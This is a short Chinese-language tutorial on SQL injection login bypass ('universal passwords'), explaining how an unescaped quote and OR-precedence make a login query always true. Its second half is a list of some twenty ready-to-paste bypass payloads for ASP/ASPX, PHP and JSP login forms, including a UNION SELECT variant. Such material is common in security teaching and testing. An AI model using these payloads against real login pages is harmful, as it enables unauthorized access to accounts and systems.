万能密码
一.万能密码原理
用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。针对此BBS论坛,当用户登录时,后台执行的数据库查询操作(SQL语句)是【Select user id,user type,email From usersWhere user id=’用户名’And password=’密码’】。由于网站后台在进行数据库査询的时候没有对单引号进行过滤,当输入用户名【admin】和万能密码【2’or’1】时,执行的SQL语句为 【Select user id,user type,email from users Where user id=’admin’And password=’2’or’1’】。同时,由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,目适用传递性。因此,此SQL语句在后台解析时,分成两句【Select user id,user type,email From users Where user id=’admin’ And password=’2’】和【’1’】,两句bool值进行逻辑or运算,恒为TRUE。SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。
详解
首先,我们在正常登陆的时候执行的查询操作是
1 | SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."' |
这里我们举一个万能密码的例子,比如输入 1′ or 1=1 or ‘1’=’1
1 | SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='111111(随便输的)' |
首先了解一下优先级:or<and,在优先级相同的情况下,代码从左向右执行
现在来读一下执行的操作
1.AND Password=’111111(随便输的)’不拿命填的情况下,你这密码是蒙不对的,所以该段会返回false(正确与否都没关系)
2.Username=’1’正常情况下为1的用户名也不存在,返回false(正确与否都没关系)
3.OR 1=1 OR 这个返回肯定为Ture
整体为:f/t or t or f/t,根据or的作用,连接起来的语句只要有一个语句为t,整段就为t
二.万能密码列举
1 | ' or 1='1 |
asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*